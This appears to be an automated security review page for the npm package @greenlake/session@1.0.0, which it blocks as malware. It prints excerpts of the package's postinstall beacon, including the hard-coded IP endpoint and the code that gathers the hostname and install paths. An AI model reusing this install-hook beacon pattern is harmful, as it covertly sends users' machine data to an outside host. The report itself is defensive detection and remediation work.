@greenlake/session@1.0.0
Compatibility shim.
AI Security Review
scanned 10d ago · by lpm-firewall-aiThe package performs unconsented installation-time disclosure of machine and project identifying data to a fixed external recipient. This verified automatic collection and transmission supports blocking.
Static reason
One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review
Trigger
Package installation runs the postinstall hook; importing the package entrypoint also invokes the beacon.
Impact
The recipient learns identifying information about the machine and package installation.
Mechanism
The beacon posts JSON containing the hostname, installation path, working directory, and npm version to a fixed HTTP endpoint.
Attack narrative
During installation, the postinstall hook runs a beacon that sends the machine hostname and package installation paths to a fixed external HTTP endpoint. Importing the package entrypoint also invokes the same beacon.
AI rationale
The package performs unconsented installation-time disclosure of machine and project identifying data to a fixed external recipient. This verified automatic collection and transmission supports blocking.
Evidence
package.jsonbeacon.cjsindex.js
Network endpoints1
185.158.107.175:8787/_ah/dc
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- package.json runs `node beacon.cjs` automatically during postinstall.
- beacon.cjs sends a JSON POST to a fixed external HTTP endpoint.
- The payload includes the machine hostname, install path, working directory, and npm version.
- Importing index.js also invokes the beacon.
Evidence against
Behavioral surface
Network
UrlStrings
Source & flagged code
9 flaggedpackage.jsonView file
•scripts.postinstall = node beacon.cjs
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg7"postinstall": "node beacon.cjs"
},
"files": [
"index.js",
"beacon.cjs",
"README.md"
],
"license": "MIT"
}
High
Suspicious Lifecycle Evidence
package.json runs `node beacon.cjs` automatically during postinstall.
package.jsonView on unpkg · L7beacon.cjsView file
3// recipient can correlate an install. No data beyond that is collected or sent.
L4: var BEACON = "http://185.158.107.175:8787/_ah/dc";
L5: var PKG = "@greenlake/session";
...
L10: var lib = u.protocol === 'https:' ? require('https') : require('http');
L11: var data = Buffer.from(JSON.stringify(payload));
L12: var req = lib.request({
...
L20: req.setTimeout(5000, function () { try { req.destroy(); } catch (e) {} resolve(); });
L21: req.write(data); req.end();
L22: } catch (e) { resolve(); }
...
L27: package: PKG,
L28: hostname: (function () { try { return require('os').hostname(); } catch (e) { return ''; } })(),
L29: installPath: __dirname,
Findings
9 High1 Medium2 Low
HighInstall Time Lifecycle Scriptspackage.json
HighHost Fingerprint Exfiltrationbeacon.cjs
HighKnown Malware Source Fingerprint Signaturebeacon.cjs
HighSuspicious Lifecycle Evidencepackage.json
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidenceindex.js
MediumNetwork
LowScripts Present
LowUrl Strings
Affected versions and remediation
This report applies to @greenlake/session@1.0.0.
See all versions of @greenlake/session for other recorded verdicts.
- Avoid installing @greenlake/session@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.